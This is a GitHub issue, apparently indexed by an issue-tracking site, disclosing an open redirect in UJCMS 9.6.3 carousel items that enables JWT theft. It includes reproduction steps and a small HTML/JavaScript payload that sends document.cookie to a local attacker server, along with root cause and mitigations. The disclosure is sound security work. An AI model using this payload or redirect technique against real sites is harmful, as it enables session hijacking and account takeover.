dromara / dromara/ujcms

Open Redirect Vulnerability in UJCMS 9.6.3 Leads to JWT Theft

Open
#10 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Java
Stars
665
Forks
114
PR merge metrics
No merged PRs in 30d

Description

### Description:

A URL redirection vulnerability exists in UJCMS 9.6.3 due to improper validation of URLs in the upload and rendering of new block / carousel items. This vulnerability allows authenticated attackers to redirect unprivileged users to an arbitrary, attacker-controlled webpage. When an authenticated user clicks on the malicious block item, they are redirected to the arbitrary untrusted domains, where sensitive tokens, such as JSON Web Tokens, can be stolen via a crafted webpage.

### Affected Component:

- Endpoint: `/cp/#/content/block-item`
- Application Version: 9.6.3

### Type of Vulnerability:

[CWE-601: URL Redirection to Untrusted Site ('Open Redirect')](https://cwe.mitre.org/data/definitions/601.html)

### Impact:

- Open Redirect: Users can be redirected to an attacker-controlled domain when interacting with a maliciously uploaded block item.
- JWT Theft: Sensitive tokens such as jwt-access-token can be exfiltrated from authenticated users who are redirected to the attacker's domain.

### Steps to Reproduce / PoC:

1. For local testing, log in to the backend and navigate to `http://localhost:8080/cp/#/content/block-item/`.
2. Start a malicious Python server on `localhost:8888` and wait for cookie exfiltration.
3. Upload a new block / carousel item with a malicious URL pointing to an attacker-controlled webpage (e.g., `http://localhost:5000/evil.html`).
4. On the attacker's server (e.g., localhost on port 5000), host the following malicious HTML to capture the document cookie:

```html



fetch("http://localhost:8888", {
method: "POST",
mode: "no-cors",
body: document.cookie,
});

```

4. After uploading the block item, authenticate as another user and navigate to the home page where the carousel is displayed. Click on the malicious block / carousel item.
5. Observe the redirection to `http://localhost:5000/evil.html` and the exfiltration of the jwt-access-token to the attacker’s server (in this case, `localhost:8888`).

### Root Cause:

The application fails to validate and sanitize URLs provided during block item creation. This allows attackers to input arbitrary URLs that redirect users to malicious attacker controlled domains. Additionally, the lack of `HttpOnly` flag on sensitive cookies such as jwt-access-token allows JavaScript to access these tokens, exacerbating the impact.

### Mitigation Recommendations:

1. **URL Validation:**
Implement strict validation for URLs provided in block items. Ensure URLs are restricted to trusted domains and use a whitelist approach.

2. **Secure Cookie Attributes:**
Set the `HttpOnly` flag on sensitive cookies to prevent access via JavaScript. Use the Secure flag to restrict cookies to HTTPS connections.

3. **Content Security Policy (CSP):**
Enforce a CSP to prevent the execution of inline JavaScript and restrict resource loading to trusted domains.

Contributor guide

No contributing guide indexed for this repository

Research direction

Start by reproducing the issue through `/cp/#/content/block-item` and trace block-item creation and carousel rendering for the supplied URL. Done means attacker-controlled destinations are rejected or constrained as intended, sensitive cookie exposure is addressed, and the reported redirect and token-exfiltration behavior no longer occurs.

Written by the indexing model from the issue text.

Assessment

Tech stack
java, typescript
Domain
backend, frontend, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Stale
Clarity
Mostly clear
Newbie friendliness
35/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.